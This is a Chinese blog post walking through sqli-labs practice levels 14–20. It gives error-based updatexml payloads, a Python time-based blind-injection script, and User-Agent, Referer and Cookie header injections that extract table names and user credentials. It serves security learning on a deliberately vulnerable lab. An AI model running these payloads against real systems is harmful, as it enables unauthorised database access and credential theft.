首页 > 数据库 >SQL注入基础学习4

SQL注入基础学习4

时间:2023-08-22 19:11:27浏览次数:48  
标签:SQL 0x7e Submit 学习 concat time updatexml select 注入

14、第14关
  • 测试注入点,查找闭合方式,闭合方式为"

  • 查找数据库

    admin" and 1=updatexml(1,concat(0x7e,(select database())),3)#
    
    /*结果如下*/
    XPATH syntax error: '~security'
    
  • 查找数据库中的表

    admin" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#
    
    /*结果如下*/
    XPATH syntax error: '~emails,referers,uagents,users'
    
  • 查找users表中的数据

    admin" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#
    
    /*结果如下*/
    XPATH syntax error: '~id,username,password'
    
  • 查找字段usernamepassword

    admin" and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users )),3)#
    

    有长度输出限制,因此我们可以利用substr函数来解决这个问题,可以利用burpsuite的爆破模块来获取,结果如下

15、第15关

这一关是post的盲注,可以利用sqlmap来测试,或者自己写脚本,用request.post提交表单信息就可以了

下面是一段获取数据库长度和库名的实列代码

import requests
import time

header = {
    'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
url = 'http://8.130.109.21:9999/Less-15/'
print("sqli-labs15")
sptime = int(input("请输入设置沉睡的时间:"))


# 获取数据库名字的长度
def get_databasename_length() -> int:
    count = 0
    for i in range(40):
        files = {
            'uname': "admin' and if(length(database())={},sleep({}),0)#".format(i, sptime),
            'passwd': '',
            'Submit': 'Submit'
        }
        start_time = time.time()
        requests.post(url, data=files, headers=header)
        end_time = time.time()
        if end_time - start_time > sptime:
            print("数据库的长度为:{}".format(i))
            count = i
            break
    return count


# 获取数据库名字
def get_databasename(count):
    print("数据库名字为:", end='')
    for i in range(count + 1):
        for j in range(33, 127):
            files = {
                'uname': "admin' and ascii(mid(database(),{},1))={} and sleep({})#".format(i, j, sptime),
                'passwd': '',
                'Submit': 'Submit'
            }
            start_time = time.time()
            requests.post(url, data=files, headers=header)
            end_time = time.time()
            if end_time - start_time > sptime:
                print(chr(j), end='')
                break


# get_databasename_length()
get_databasename(get_databasename_length())

运行结果如下

修改代码的时候,只需要修改'uname'的值即可

16、第16关

该关卡和第十五关的方法一样,只不过是闭合方式变成了")

17、第17关

uname怎么页面都显示错误,此时换一个注入点试试,换passwd,发现有效果,开始报错注入

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select database())),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select group_concat(username,':',password) from user)),3)#&Submit=Submit  /*当查询的时候,会发现出现下图的错误,百度一下,错误的解释是这样的,不能先select出同一表中的某些值,再update这个表(在同一语句中),解决的办法就是先将查询的结果令为一个新表,再从该表中查询*/

错误如图所示

修改后的代码

uname=admin&passwd='  and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,30) from (select username,password from users)a)),3)#&Submit=Submit

结果如下

18、第18关

当页面看不到明显变化,找不到注入点,可以尝试报头注入

post注入时,万能密码无法绕过验证,用户名无法注入,可以通过查看源代码分析页面执行的动作

所以,该关卡采用的是User-agent注入

  • 页面的用户名和密码输入正确的时候,页面会显示出uagent的信息

  • 进入后台查看页面的源码

    是将三个字段的信息插入uagents表中,利用burpsuite来完成后续的操作,将三个字段中的信息替换一下

  • 查询数据库

    ' or updatexml(1,concat(0x7e,(select database())),3),2,3)#
    

    结果如下:

  • 查询表

    ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3)#
    

    结果如下:

  • 后面的只需要替换查询语句就行给出最后的结果

    ' or updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users)),3),2,3)#
    

19、第19关

第19关跟第18关基本一样,查看页面源码

只需要换一个注入点referer,替换两个要插入的数据就行

后面的可以自己动手尝试一下

20、第20关

这一关卡是cookie注入关,输入正确的用户名和密码会跳转到下面页面

尝试在cookie出进行注入,利用select+union来注入

  • 测试列数

  • 测试回显位

  • 后面就替换查询语句

标签:SQL,0x7e,Submit,学习,concat,time,updatexml,select,注入
From: https://www.cnblogs.com/xiaoyi208/p/17649443.html

相关文章

  • 【笔记】机器学习基础 - Ch5. Support Vector Machines
    5.1Linearclassification考虑如下问题:\(\mathbb{R}^N\)上的\(\calX\)服从某个未知分布\(\calD\),并由目标函数\(f:\calX\toY\)映射到\(\{-1,+1\}\)。根据采样\(S=(({\bfx}_1,y_1),\dotsb,({\bfx}_m,y_m))\)确定一个二分类器\(h\in\calH\),使得其泛化......
  • python · SQL | MySQL 配置与 python 连接数据库
    来存档一下搞sql的过程,方便以后查阅。安装与配置mysqlserver:https://blog.csdn.net/zhende_lan/article/details/129318514在同一个网页下载mysqlworkbench(数据库可视化);打开workbench,新建一些表,用来测试:https://zhuanlan.zhihu.com/p/260139380python连接sql的代......
  • JavaSE学习笔记
    Java基础数据类型扩展及面试题讲解整数拓展: 进制、二进制0b、十进制、八进制0、十六进制0x浮点数拓展:银行业务怎么表示?钱——最好完全避免使用浮点数进行比较使用BigDecimal数学工具类float:有限、离散、舍入误差、大约、接近但不等于double:精度问题字符拓......
  • SQL Server 还原文件文件组
    SQLServer还原文件文件组实现数据间的快速同步如果prod的数据库较新,TE的较旧,现在需要快速同步整个数据库......
  • Python学习日记 2023年8月22日
    importglobimportargparseimportcv2importnumpyfromtqdmimporttqdmfromitertoolsimportproductdefparsArgs():parser=argparse.ArgumentParser('拼接马赛克图片')parser.add_argument('--targetpath',type=str,default='3.jp......
  • 读取转换规则中的单据类型映射(处理SQLSERVER的XML字段)
    DataSetdsBillTypeMap=null;stringsql=string.Format(@"/*dialect*/SELECTFKERNELXML.query('//BillTypeMaps')BillTypeMaps,FID......
  • SQL SERVER 查询被锁表
    --查询被锁表select request_session_id spid,OBJECT_NAME(resource_associated_entity_id)tableName  from sys.dm_tran_lockswhereresource_type='OBJECT' declare@spid int  --循环所有实验室数据 DECLARESpid_CursorCURSOR--定义游标 FOR(select......
  • 深度学习(十一)——神经网络:线形层及其他层介绍
    一、正则化层中nn.BatchNorm2d简介主要作用:对输入函数采用正则化。正则化的主要作用是加快神经网络的训练速度。classtorch.nn.BatchNorm2d(num_features,eps=1e-05,momentum=0.1,affine=True,track_running_stats=True,device=None,dtype=None)输入参数:num_feature......
  • ROS小车STM32底板代码学习
    用的是幻尔科技的新推出的ROS小车的STM32控制底板价格他的代码是用HAL库写的,而且资料很少,刚开始连ROS1功能包都还在测试。代码有300多M,编译一次,直接吃席。所以我用轮趣科技的ROS小车代码移植,采用的FreeRTOS写的,跟我学的代码风格几乎一致移植过程中你会发现,电路很多地方都一致,盲......
  • SAP ABAP SQL编辑器
    事务码:DB02/DBACOCKPIT 结果: ......